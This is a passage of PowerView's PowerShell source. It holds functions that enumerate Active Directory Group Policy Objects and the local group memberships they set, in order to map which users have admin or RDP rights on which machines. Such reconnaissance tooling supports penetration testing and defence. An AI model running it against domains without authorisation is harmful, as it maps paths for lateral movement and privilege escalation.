12235 $GroupSID = ConvertTo-SID -ObjectName $Groupname -Credential $Credential
12236 }
12237 else {
12238 $GroupSID = ConvertTo-SID -ObjectName $Groupname
12239 }
12240 }
12241 }
12242
12243 # extract out members added to this group
12244 $Members = $_.Properties.members | Select-Object -ExpandProperty Member | Where-Object { $_.action -match 'ADD' } | ForEach-Object {
12245 if ($_.sid) { $_.sid }
12246 else { $_.name }
12247 }
12248
12249 if ($Members) {
12250 # extract out any/all filters...I hate you GPP
12251 if ($_.filters) {
12252 $Filters = $_.filters.GetEnumerator() | ForEach-Object {
12253 New-Object -TypeName PSObject -Property @{'Type' = $_.LocalName;'Value' = $_.name}
12254 }
12255 }
12256 else {
12257 $Filters = $Null
12258 }
12259
12260 if ($Members -isnot [System.Array]) { $Members = @($Members) }
12261
12262 $GroupsXML = New-Object PSObject
12263 $GroupsXML | Add-Member Noteproperty 'GPOPath' $TargetGroupsXMLPath
12264 $GroupsXML | Add-Member Noteproperty 'Filters' $Filters
12265 $GroupsXML | Add-Member Noteproperty 'GroupName' $GroupName
12266 $GroupsXML | Add-Member Noteproperty 'GroupSID' $GroupSID
12267 $GroupsXML | Add-Member Noteproperty 'GroupMemberOf' $Null
12268 $GroupsXML | Add-Member Noteproperty 'GroupMembers' $Members
12269 $GroupsXML.PSObject.TypeNames.Insert(0, 'PowerView.GroupsXML')
12270 $GroupsXML
12271 }
12272 }
12273 }
12274 catch {
12275 Write-Verbose "[Get-GroupsXML] Error parsing $TargetGroupsXMLPath : $_"
12276 }
12277 }
12278
12279 END {
12280 # remove the SYSVOL mappings
12281 $MappedPaths.Keys | ForEach-Object { Remove-RemoteConnection -Path $_ }
12282 }
12283}
12284
12285
12286function Get-DomainGPO {
12287<#
12288.SYNOPSIS
12289
12290Return all GPOs or specific GPO objects in AD.
12291
12292Author: Will Schroeder (@harmj0y)
12293License: BSD 3-Clause
12294Required Dependencies: Get-DomainSearcher, Get-DomainComputer, Get-DomainUser, Get-DomainOU, Get-NetComputerSiteName, Get-DomainSite, Get-DomainObject, Convert-LDAPProperty
12295
12296.DESCRIPTION
12297
12298Builds a directory searcher object using Get-DomainSearcher, builds a custom
12299LDAP filter based on targeting/filter parameters, and searches for all objects
12300matching the criteria. To only return specific properties, use
12301"-Properties samaccountname,usnchanged,...". By default, all GPO objects for
12302the current domain are returned. To enumerate all GPOs that are applied to
12303a particular machine, use -ComputerName X.
12304
12305.PARAMETER Identity
12306
12307A display name (e.g. 'Test GPO'), DistinguishedName (e.g. 'CN={F260B76D-55C8-46C5-BEF1-9016DD98E272},CN=Policies,CN=System,DC=testlab,DC=local'),
12308GUID (e.g. '10ec320d-3111-4ef4-8faf-8f14f4adc789'), or GPO name (e.g. '{F260B76D-55C8-46C5-BEF1-9016DD98E272}'). Wildcards accepted.
12309
12310.PARAMETER ComputerIdentity
12311
12312Return all GPO objects applied to a given computer identity (name, dnsname, DistinguishedName, etc.).
12313
12314.PARAMETER UserIdentity
12315
12316Return all GPO objects applied to a given user identity (name, SID, DistinguishedName, etc.).
12317
12318.PARAMETER Domain
12319
12320Specifies the domain to use for the query, defaults to the current domain.
12321
12322.PARAMETER LDAPFilter
12323
12324Specifies an LDAP query string that is used to filter Active Directory objects.
12325
12326.PARAMETER Properties
12327
12328Specifies the properties of the output object to retrieve from the server.
12329
12330.PARAMETER SearchBase
12331
12332The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
12333Useful for OU queries.
12334
12335.PARAMETER Server
12336
12337Specifies an Active Directory server (domain controller) to bind to.
12338
12339.PARAMETER SearchScope
12340
12341Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
12342
12343.PARAMETER ResultPageSize
12344
12345Specifies the PageSize to set for the LDAP searcher object.
12346
12347.PARAMETER ServerTimeLimit
12348
12349Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
12350
12351.PARAMETER SecurityMasks
12352
12353Specifies an option for examining security information of a directory object.
12354One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'.
12355
12356.PARAMETER Tombstone
12357
12358Switch. Specifies that the searcher should also return deleted/tombstoned objects.
12359
12360.PARAMETER FindOne
12361
12362Only return one result object.
12363
12364.PARAMETER Credential
12365
12366A [Management.Automation.PSCredential] object of alternate credentials
12367for connection to the target domain.
12368
12369.PARAMETER Raw
12370
12371Switch. Return raw results instead of translating the fields into a custom PSObject.
12372
12373.EXAMPLE
12374
12375Get-DomainGPO -Domain testlab.local
12376
12377Return all GPOs for the testlab.local domain
12378
12379.EXAMPLE
12380
12381Get-DomainGPO -ComputerName windows1.testlab.local
12382
12383Returns all GPOs applied windows1.testlab.local
12384
12385.EXAMPLE
12386
12387"{F260B76D-55C8-46C5-BEF1-9016DD98E272}","Test GPO" | Get-DomainGPO
12388
12389Return the GPOs with the name of "{F260B76D-55C8-46C5-BEF1-9016DD98E272}" and the display
12390name of "Test GPO"
12391
12392.EXAMPLE
12393
12394Get-DomainGPO -LDAPFilter '(!primarygroupid=513)' -Properties samaccountname,lastlogon
12395
12396.EXAMPLE
12397
12398$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
12399$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
12400Get-DomainGPO -Credential $Cred
12401
12402.OUTPUTS
12403
12404PowerView.GPO
12405
12406Custom PSObject with translated GPO property fields.
12407
12408PowerView.GPO.Raw
12409
12410The raw DirectoryServices.SearchResult object, if -Raw is enabled.
12411#>
12412
12413 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
12414 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')]
12415 [OutputType('PowerView.GPO')]
12416 [OutputType('PowerView.GPO.Raw')]
12417 [CmdletBinding(DefaultParameterSetName = 'None')]
12418 Param(
12419 [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
12420 [Alias('DistinguishedName', 'SamAccountName', 'Name')]
12421 [String[]]
12422 $Identity,
12423
12424 [Parameter(ParameterSetName = 'ComputerIdentity')]
12425 [Alias('ComputerName')]
12426 [ValidateNotNullOrEmpty()]
12427 [String]
12428 $ComputerIdentity,
12429
12430 [Parameter(ParameterSetName = 'UserIdentity')]
12431 [Alias('UserName')]
12432 [ValidateNotNullOrEmpty()]
12433 [String]
12434 $UserIdentity,
12435
12436 [ValidateNotNullOrEmpty()]
12437 [String]
12438 $Domain,
12439
12440 [ValidateNotNullOrEmpty()]
12441 [Alias('Filter')]
12442 [String]
12443 $LDAPFilter,
12444
12445 [ValidateNotNullOrEmpty()]
12446 [String[]]
12447 $Properties,
12448
12449 [ValidateNotNullOrEmpty()]
12450 [Alias('ADSPath')]
12451 [String]
12452 $SearchBase,
12453
12454 [ValidateNotNullOrEmpty()]
12455 [Alias('DomainController')]
12456 [String]
12457 $Server,
12458
12459 [ValidateSet('Base', 'OneLevel', 'Subtree')]
12460 [String]
12461 $SearchScope = 'Subtree',
12462
12463 [ValidateRange(1, 10000)]
12464 [Int]
12465 $ResultPageSize = 200,
12466
12467 [ValidateRange(1, 10000)]
12468 [Int]
12469 $ServerTimeLimit,
12470
12471 [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]
12472 [String]
12473 $SecurityMasks,
12474
12475 [Switch]
12476 $Tombstone,
12477
12478 [Alias('ReturnOne')]
12479 [Switch]
12480 $FindOne,
12481
12482 [Management.Automation.PSCredential]
12483 [Management.Automation.CredentialAttribute()]
12484 $Credential = [Management.Automation.PSCredential]::Empty,
12485
12486 [Switch]
12487 $Raw
12488 )
12489
12490 BEGIN {
12491 $SearcherArguments = @{}
12492 if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
12493 if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties }
12494 if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
12495 if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
12496 if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
12497 if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
12498 if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
12499 if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks }
12500 if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
12501 if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
12502 $GPOSearcher = Get-DomainSearcher @SearcherArguments
12503 }
12504
12505 PROCESS {
12506 if ($GPOSearcher) {
12507 if ($PSBoundParameters['ComputerIdentity'] -or $PSBoundParameters['UserIdentity']) {
12508 $GPOAdsPaths = @()
12509 if ($SearcherArguments['Properties']) {
12510 $OldProperties = $SearcherArguments['Properties']
12511 }
12512 $SearcherArguments['Properties'] = 'distinguishedname,dnshostname'
12513 $TargetComputerName = $Null
12514
12515 if ($PSBoundParameters['ComputerIdentity']) {
12516 $SearcherArguments['Identity'] = $ComputerIdentity
12517 $Computer = Get-DomainComputer @SearcherArguments -FindOne | Select-Object -First 1
12518 if(-not $Computer) {
12519 Write-Verbose "[Get-DomainGPO] Computer '$ComputerIdentity' not found!"
12520 }
12521 $ObjectDN = $Computer.distinguishedname
12522 $TargetComputerName = $Computer.dnshostname
12523 }
12524 else {
12525 $SearcherArguments['Identity'] = $UserIdentity
12526 $User = Get-DomainUser @SearcherArguments -FindOne | Select-Object -First 1
12527 if(-not $User) {
12528 Write-Verbose "[Get-DomainGPO] User '$UserIdentity' not found!"
12529 }
12530 $ObjectDN = $User.distinguishedname
12531 }
12532
12533 # extract all OUs the target user/computer is a part of
12534 $ObjectOUs = @()
12535 $ObjectOUs += $ObjectDN.split(',') | ForEach-Object {
12536 if($_.startswith('OU=')) {
12537 $ObjectDN.SubString($ObjectDN.IndexOf("$($_),"))
12538 }
12539 }
12540 Write-Verbose "[Get-DomainGPO] object OUs: $ObjectOUs"
12541
12542 if ($ObjectOUs) {
12543 # find all the GPOs linked to the user/computer's OUs
12544 $SearcherArguments.Remove('Properties')
12545 $InheritanceDisabled = $False
12546 ForEach($ObjectOU in $ObjectOUs) {
12547 $SearcherArguments['Identity'] = $ObjectOU
12548 $GPOAdsPaths += Get-DomainOU @SearcherArguments | ForEach-Object {
12549 # extract any GPO links for this particular OU the computer is a part of
12550 if ($_.gplink) {
12551 $_.gplink.split('][') | ForEach-Object {
12552 if ($_.startswith('LDAP')) {
12553 $Parts = $_.split(';')
12554 $GpoDN = $Parts[0]
12555 $Enforced = $Parts[1]
12556
12557 if ($InheritanceDisabled) {
12558 # if inheritance has already been disabled and this GPO is set as "enforced"
12559 # then add it, otherwise ignore it
12560 if ($Enforced -eq 2) {
12561 $GpoDN
12562 }
12563 }
12564 else {
12565 # inheritance not marked as disabled yet
12566 $GpoDN
12567 }
12568 }
12569 }
12570 }
12571
12572 # if this OU has GPO inheritence disabled, break so additional OUs aren't processed
12573 if ($_.gpoptions -eq 1) {
12574 $InheritanceDisabled = $True
12575 }
12576 }
12577 }
12578 }
12579
12580 if ($TargetComputerName) {
12581 # find all the GPOs linked to the computer's site
12582 $ComputerSite = (Get-NetComputerSiteName -ComputerName $TargetComputerName).SiteName
12583 if($ComputerSite -and ($ComputerSite -notlike 'Error*')) {
12584 $SearcherArguments['Identity'] = $ComputerSite
12585 $GPOAdsPaths += Get-DomainSite @SearcherArguments | ForEach-Object {
12586 if($_.gplink) {
12587 # extract any GPO links for this particular site the computer is a part of
12588 $_.gplink.split('][') | ForEach-Object {
12589 if ($_.startswith('LDAP')) {
12590 $_.split(';')[0]
12591 }
12592 }
12593 }
12594 }
12595 }
12596 }
12597
12598 # find any GPOs linked to the user/computer's domain
12599 $ObjectDomainDN = $ObjectDN.SubString($ObjectDN.IndexOf('DC='))
12600 $SearcherArguments.Remove('Identity')
12601 $SearcherArguments.Remove('Properties')
12602 $SearcherArguments['LDAPFilter'] = "(objectclass=domain)(distinguishedname=$ObjectDomainDN)"
12603 $GPOAdsPaths += Get-DomainObject @SearcherArguments | ForEach-Object {
12604 if($_.gplink) {
12605 # extract any GPO links for this particular domain the computer is a part of
12606 $_.gplink.split('][') | ForEach-Object {
12607 if ($_.startswith('LDAP')) {
12608 $_.split(';')[0]
12609 }
12610 }
12611 }
12612 }
12613 Write-Verbose "[Get-DomainGPO] GPOAdsPaths: $GPOAdsPaths"
12614
12615 # restore the old properites to return, if set
12616 if ($OldProperties) { $SearcherArguments['Properties'] = $OldProperties }
12617 else { $SearcherArguments.Remove('Properties') }
12618 $SearcherArguments.Remove('Identity')
12619
12620 $GPOAdsPaths | Where-Object {$_ -and ($_ -ne '')} | ForEach-Object {
12621 # use the gplink as an ADS path to enumerate all GPOs for the computer
12622 $SearcherArguments['SearchBase'] = $_
12623 $SearcherArguments['LDAPFilter'] = "(objectCategory=groupPolicyContainer)"
12624 Get-DomainObject @SearcherArguments | ForEach-Object {
12625 if ($PSBoundParameters['Raw']) {
12626 $_.PSObject.TypeNames.Insert(0, 'PowerView.GPO.Raw')
12627 }
12628 else {
12629 $_.PSObject.TypeNames.Insert(0, 'PowerView.GPO')
12630 }
12631 $_
12632 }
12633 }
12634 }
12635 else {
12636 $IdentityFilter = ''
12637 $Filter = ''
12638 $Identity | Where-Object {$_} | ForEach-Object {
12639 $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29')
12640 if ($IdentityInstance -match 'LDAP://|^CN=.*') {
12641 $IdentityFilter += "(distinguishedname=$IdentityInstance)"
12642 if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) {
12643 # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname
12644 # and rebuild the domain searcher
12645 $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
12646 Write-Verbose "[Get-DomainGPO] Extracted domain '$IdentityDomain' from '$IdentityInstance'"
12647 $SearcherArguments['Domain'] = $IdentityDomain
12648 $GPOSearcher = Get-DomainSearcher @SearcherArguments
12649 if (-not $GPOSearcher) {
12650 Write-Warning "[Get-DomainGPO] Unable to retrieve domain searcher for '$IdentityDomain'"
12651 }
12652 }
12653 }
12654 elseif ($IdentityInstance -match '{.*}') {
12655 $IdentityFilter += "(name=$IdentityInstance)"
12656 }
12657 else {
12658 try {
12659 $GuidByteString = (-Join (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object {$_.ToString('X').PadLeft(2,'0')})) -Replace '(..)','\$1'
12660 $IdentityFilter += "(objectguid=$GuidByteString)"
12661 }
12662 catch {
12663 $IdentityFilter += "(displayname=$IdentityInstance)"
12664 }
12665 }
12666 }
12667 if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) {
12668 $Filter += "(|$IdentityFilter)"
12669 }
12670
12671 if ($PSBoundParameters['LDAPFilter']) {
12672 Write-Verbose "[Get-DomainGPO] Using additional LDAP filter: $LDAPFilter"
12673 $Filter += "$LDAPFilter"
12674 }
12675
12676 $GPOSearcher.filter = "(&(objectCategory=groupPolicyContainer)$Filter)"
12677 Write-Verbose "[Get-DomainGPO] filter string: $($GPOSearcher.filter)"
12678
12679 if ($PSBoundParameters['FindOne']) { $Results = $GPOSearcher.FindOne() }
12680 else { $Results = $GPOSearcher.FindAll() }
12681 $Results | Where-Object {$_} | ForEach-Object {
12682 if ($PSBoundParameters['Raw']) {
12683 # return raw result objects
12684 $GPO = $_
12685 $GPO.PSObject.TypeNames.Insert(0, 'PowerView.GPO.Raw')
12686 }
12687 else {
12688 if ($PSBoundParameters['SearchBase'] -and ($SearchBase -Match '^GC://')) {
12689 $GPO = Convert-LDAPProperty -Properties $_.Properties
12690 try {
12691 $GPODN = $GPO.distinguishedname
12692 $GPODomain = $GPODN.SubString($GPODN.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
12693 $gpcfilesyspath = "\\$GPODomain\SysVol\$GPODomain\Policies\$($GPO.cn)"
12694 $GPO | Add-Member Noteproperty 'gpcfilesyspath' $gpcfilesyspath
12695 }
12696 catch {
12697 Write-Verbose "[Get-DomainGPO] Error calculating gpcfilesyspath for: $($GPO.distinguishedname)"
12698 }
12699 }
12700 else {
12701 $GPO = Convert-LDAPProperty -Properties $_.Properties
12702 }
12703 $GPO.PSObject.TypeNames.Insert(0, 'PowerView.GPO')
12704 }
12705 $GPO
12706 }
12707 if ($Results) {
12708 try { $Results.dispose() }
12709 catch {
12710 Write-Verbose "[Get-DomainGPO] Error disposing of the Results object: $_"
12711 }
12712 }
12713 $GPOSearcher.dispose()
12714 }
12715 }
12716 }
12717}
12718
12719
12720function Get-DomainGPOLocalGroup {
12721<#
12722.SYNOPSIS
12723
12724Returns all GPOs in a domain that modify local group memberships through 'Restricted Groups'
12725or Group Policy preferences. Also return their user membership mappings, if they exist.
12726
12727Author: @harmj0y
12728License: BSD 3-Clause
12729Required Dependencies: Get-DomainGPO, Get-GptTmpl, Get-GroupsXML, ConvertTo-SID, ConvertFrom-SID
12730
12731.DESCRIPTION
12732
12733First enumerates all GPOs in the current/target domain using Get-DomainGPO with passed
12734arguments, and for each GPO checks if 'Restricted Groups' are set with GptTmpl.inf or
12735group membership is set through Group Policy Preferences groups.xml files. For any
12736GptTmpl.inf files found, the file is parsed with Get-GptTmpl and any 'Group Membership'
12737section data is processed if present. Any found Groups.xml files are parsed with
12738Get-GroupsXML and those memberships are returned as well.
12739
12740.PARAMETER Identity
12741
12742A display name (e.g. 'Test GPO'), DistinguishedName (e.g. 'CN={F260B76D-55C8-46C5-BEF1-9016DD98E272},CN=Policies,CN=System,DC=testlab,DC=local'),
12743GUID (e.g. '10ec320d-3111-4ef4-8faf-8f14f4adc789'), or GPO name (e.g. '{F260B76D-55C8-46C5-BEF1-9016DD98E272}'). Wildcards accepted.
12744
12745.PARAMETER ResolveMembersToSIDs
12746
12747Switch. Indicates that any member names should be resolved to their domain SIDs.
12748
12749.PARAMETER Domain
12750
12751Specifies the domain to use for the query, defaults to the current domain.
12752
12753.PARAMETER LDAPFilter
12754
12755Specifies an LDAP query string that is used to filter Active Directory objects.
12756
12757.PARAMETER SearchBase
12758
12759The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
12760Useful for OU queries.
12761
12762.PARAMETER Server
12763
12764Specifies an Active Directory server (domain controller) to bind to.
12765
12766.PARAMETER SearchScope
12767
12768Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
12769
12770.PARAMETER ResultPageSize
12771
12772Specifies the PageSize to set for the LDAP searcher object.
12773
12774.PARAMETER ServerTimeLimit
12775
12776Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
12777
12778.PARAMETER Tombstone
12779
12780Switch. Specifies that the searcher should also return deleted/tombstoned objects.
12781
12782.PARAMETER Credential
12783
12784A [Management.Automation.PSCredential] object of alternate credentials
12785for connection to the target domain.
12786
12787.EXAMPLE
12788
12789Get-DomainGPOLocalGroup
12790
12791Returns all local groups set by GPO along with their members and memberof.
12792
12793.EXAMPLE
12794
12795Get-DomainGPOLocalGroup -ResolveMembersToSIDs
12796
12797Returns all local groups set by GPO along with their members and memberof,
12798and resolve any members to their domain SIDs.
12799
12800.EXAMPLE
12801
12802'{0847C615-6C4E-4D45-A064-6001040CC21C}' | Get-DomainGPOLocalGroup
12803
12804Return any GPO-set groups for the GPO with the given name/GUID.
12805
12806.EXAMPLE
12807
12808Get-DomainGPOLocalGroup 'Desktops'
12809
12810Return any GPO-set groups for the GPO with the given display name.
12811
12812.EXAMPLE
12813
12814$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
12815$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
12816Get-DomainGPOLocalGroup -Credential $Cred
12817
12818.LINK
12819
12820https://morgansimonsenblog.azurewebsites.net/tag/groups/
12821#>
12822
12823 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
12824 [OutputType('PowerView.GPOGroup')]
12825 [CmdletBinding()]
12826 Param(
12827 [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
12828 [Alias('DistinguishedName', 'SamAccountName', 'Name')]
12829 [String[]]
12830 $Identity,
12831
12832 [Switch]
12833 $ResolveMembersToSIDs,
12834
12835 [ValidateNotNullOrEmpty()]
12836 [String]
12837 $Domain,
12838
12839 [ValidateNotNullOrEmpty()]
12840 [Alias('Filter')]
12841 [String]
12842 $LDAPFilter,
12843
12844 [ValidateNotNullOrEmpty()]
12845 [Alias('ADSPath')]
12846 [String]
12847 $SearchBase,
12848
12849 [ValidateNotNullOrEmpty()]
12850 [Alias('DomainController')]
12851 [String]
12852 $Server,
12853
12854 [ValidateSet('Base', 'OneLevel', 'Subtree')]
12855 [String]
12856 $SearchScope = 'Subtree',
12857
12858 [ValidateRange(1, 10000)]
12859 [Int]
12860 $ResultPageSize = 200,
12861
12862 [ValidateRange(1, 10000)]
12863 [Int]
12864 $ServerTimeLimit,
12865
12866 [Switch]
12867 $Tombstone,
12868
12869 [Management.Automation.PSCredential]
12870 [Management.Automation.CredentialAttribute()]
12871 $Credential = [Management.Automation.PSCredential]::Empty
12872 )
12873
12874 BEGIN {
12875 $SearcherArguments = @{}
12876 if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
12877 if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $Domain }
12878 if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
12879 if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
12880 if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
12881 if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
12882 if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
12883 if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
12884 if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
12885
12886 $ConvertArguments = @{}
12887 if ($PSBoundParameters['Domain']) { $ConvertArguments['Domain'] = $Domain }
12888 if ($PSBoundParameters['Server']) { $ConvertArguments['Server'] = $Server }
12889 if ($PSBoundParameters['Credential']) { $ConvertArguments['Credential'] = $Credential }
12890
12891 $SplitOption = [System.StringSplitOptions]::RemoveEmptyEntries
12892 }
12893
12894 PROCESS {
12895 if ($PSBoundParameters['Identity']) { $SearcherArguments['Identity'] = $Identity }
12896
12897 Get-DomainGPO @SearcherArguments | ForEach-Object {
12898 $GPOdisplayName = $_.displayname
12899 $GPOname = $_.name
12900 $GPOPath = $_.gpcfilesyspath
12901
12902 $ParseArgs = @{ 'GptTmplPath' = "$GPOPath\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf" }
12903 if ($PSBoundParameters['Credential']) { $ParseArgs['Credential'] = $Credential }
12904
12905 # first parse the 'Restricted Groups' file (GptTmpl.inf) if it exists
12906 $Inf = Get-GptTmpl @ParseArgs
12907
12908 if ($Inf -and ($Inf.psbase.Keys -contains 'Group Membership')) {
12909 $Memberships = @{}
12910
12911 # parse the members/memberof fields for each entry
12912 ForEach ($Membership in $Inf.'Group Membership'.GetEnumerator()) {
12913 $Group, $Relation = $Membership.Key.Split('__', $SplitOption) | ForEach-Object {$_.Trim()}
12914 # extract out ALL members
12915 $MembershipValue = $Membership.Value | Where-Object {$_} | ForEach-Object { $_.Trim('*') } | Where-Object {$_}
12916
12917 if ($PSBoundParameters['ResolveMembersToSIDs']) {
12918 # if the resulting member is username and not a SID, attempt to resolve it
12919 $GroupMembers = @()
12920 ForEach ($Member in $MembershipValue) {
12921 if ($Member -and ($Member.Trim() -ne '')) {
12922 if ($Member -notmatch '^S-1-.*') {
12923 $ConvertToArguments = @{'ObjectName' = $Member}
12924 if ($PSBoundParameters['Domain']) { $ConvertToArguments['Domain'] = $Domain }
12925 $MemberSID = ConvertTo-SID @ConvertToArguments
12926
12927 if ($MemberSID) {
12928 $GroupMembers += $MemberSID
12929 }
12930 else {
12931 $GroupMembers += $Member
12932 }
12933 }
12934 else {
12935 $GroupMembers += $Member
12936 }
12937 }
12938 }
12939 $MembershipValue = $GroupMembers
12940 }
12941
12942 if (-not $Memberships[$Group]) {
12943 $Memberships[$Group] = @{}
12944 }
12945 if ($MembershipValue -isnot [System.Array]) {$MembershipValue = @($MembershipValue)}
12946 $Memberships[$Group].Add($Relation, $MembershipValue)
12947 }
12948
12949 ForEach ($Membership in $Memberships.GetEnumerator()) {
12950 if ($Membership -and $Membership.Key -and ($Membership.Key -match '^\*')) {
12951 # if the SID is already resolved (i.e. begins with *) try to resolve SID to a name
12952 $GroupSID = $Membership.Key.Trim('*')
12953 if ($GroupSID -and ($GroupSID.Trim() -ne '')) {
12954 $GroupName = ConvertFrom-SID -ObjectSID $GroupSID @ConvertArguments
12955 }
12956 else {
12957 $GroupName = $False
12958 }
12959 }
12960 else {
12961 $GroupName = $Membership.Key
12962
12963 if ($GroupName -and ($GroupName.Trim() -ne '')) {
12964 if ($Groupname -match 'Administrators') {
12965 $GroupSID = 'S-1-5-32-544'
12966 }
12967 elseif ($Groupname -match 'Remote Desktop') {
12968 $GroupSID = 'S-1-5-32-555'
12969 }
12970 elseif ($Groupname -match 'Guests') {
12971 $GroupSID = 'S-1-5-32-546'
12972 }
12973 elseif ($GroupName.Trim() -ne '') {
12974 $ConvertToArguments = @{'ObjectName' = $Groupname}
12975 if ($PSBoundParameters['Domain']) { $ConvertToArguments['Domain'] = $Domain }
12976 $GroupSID = ConvertTo-SID @ConvertToArguments
12977 }
12978 else {
12979 $GroupSID = $Null
12980 }
12981 }
12982 }
12983
12984 $GPOGroup = New-Object PSObject
12985 $GPOGroup | Add-Member Noteproperty 'GPODisplayName' $GPODisplayName
12986 $GPOGroup | Add-Member Noteproperty 'GPOName' $GPOName
12987 $GPOGroup | Add-Member Noteproperty 'GPOPath' $GPOPath
12988 $GPOGroup | Add-Member Noteproperty 'GPOType' 'RestrictedGroups'
12989 $GPOGroup | Add-Member Noteproperty 'Filters' $Null
12990 $GPOGroup | Add-Member Noteproperty 'GroupName' $GroupName
12991 $GPOGroup | Add-Member Noteproperty 'GroupSID' $GroupSID
12992 $GPOGroup | Add-Member Noteproperty 'GroupMemberOf' $Membership.Value.Memberof
12993 $GPOGroup | Add-Member Noteproperty 'GroupMembers' $Membership.Value.Members
12994 $GPOGroup.PSObject.TypeNames.Insert(0, 'PowerView.GPOGroup')
12995 $GPOGroup
12996 }
12997 }
12998
12999 # now try to the parse group policy preferences file (Groups.xml) if it exists
13000 $ParseArgs = @{
13001 'GroupsXMLpath' = "$GPOPath\MACHINE\Preferences\Groups\Groups.xml"
13002 }
13003
13004 Get-GroupsXML @ParseArgs | ForEach-Object {
13005 if ($PSBoundParameters['ResolveMembersToSIDs']) {
13006 $GroupMembers = @()
13007 ForEach ($Member in $_.GroupMembers) {
13008 if ($Member -and ($Member.Trim() -ne '')) {
13009 if ($Member -notmatch '^S-1-.*') {
13010
13011 # if the resulting member is username and not a SID, attempt to resolve it
13012 $ConvertToArguments = @{'ObjectName' = $Groupname}
13013 if ($PSBoundParameters['Domain']) { $ConvertToArguments['Domain'] = $Domain }
13014 $MemberSID = ConvertTo-SID -Domain $Domain -ObjectName $Member
13015
13016 if ($MemberSID) {
13017 $GroupMembers += $MemberSID
13018 }
13019 else {
13020 $GroupMembers += $Member
13021 }
13022 }
13023 else {
13024 $GroupMembers += $Member
13025 }
13026 }
13027 }
13028 $_.GroupMembers = $GroupMembers
13029 }
13030
13031 $_ | Add-Member Noteproperty 'GPODisplayName' $GPODisplayName
13032 $_ | Add-Member Noteproperty 'GPOName' $GPOName
13033 $_ | Add-Member Noteproperty 'GPOType' 'GroupPolicyPreferences'
13034 $_.PSObject.TypeNames.Insert(0, 'PowerView.GPOGroup')
13035 $_
13036 }
13037 }
13038 }
13039}
13040
13041
13042function Get-DomainGPOUserLocalGroupMapping {
13043<#
13044.SYNOPSIS
13045
13046Enumerates the machines where a specific domain user/group is a member of a specific
13047local group, all through GPO correlation. If no user/group is specified, all
13048discoverable mappings are returned.
13049
13050Author: @harmj0y
13051License: BSD 3-Clause
13052Required Dependencies: Get-DomainGPOLocalGroup, Get-DomainObject, Get-DomainComputer, Get-DomainOU, Get-DomainSite, Get-DomainGroup
13053
13054.DESCRIPTION
13055
13056Takes a user/group name and optional domain, and determines the computers in the domain
13057the user/group has local admin (or RDP) rights to.
13058
13059It does this by:
13060 1. resolving the user/group to its proper SID
13061 2. enumerating all groups the user/group is a current part of
13062 and extracting all target SIDs to build a target SID list
13063 3. pulling all GPOs that set 'Restricted Groups' or Groups.xml by calling
13064 Get-DomainGPOLocalGroup
13065 4. matching the target SID list to the queried GPO SID list
13066 to enumerate all GPO the user is effectively applied with
13067 5. enumerating all OUs and sites and applicable GPO GUIs are
13068 applied to through gplink enumerating
13069 6. querying for all computers under the given OUs or sites
13070
13071If no user/group is specified, all user/group -> machine mappings discovered through
13072GPO relationships are returned.
13073
13074.PARAMETER Identity
13075
13076A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local),
13077SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201)
13078for the user/group to identity GPO local group mappings for.
13079
13080.PARAMETER LocalGroup
13081
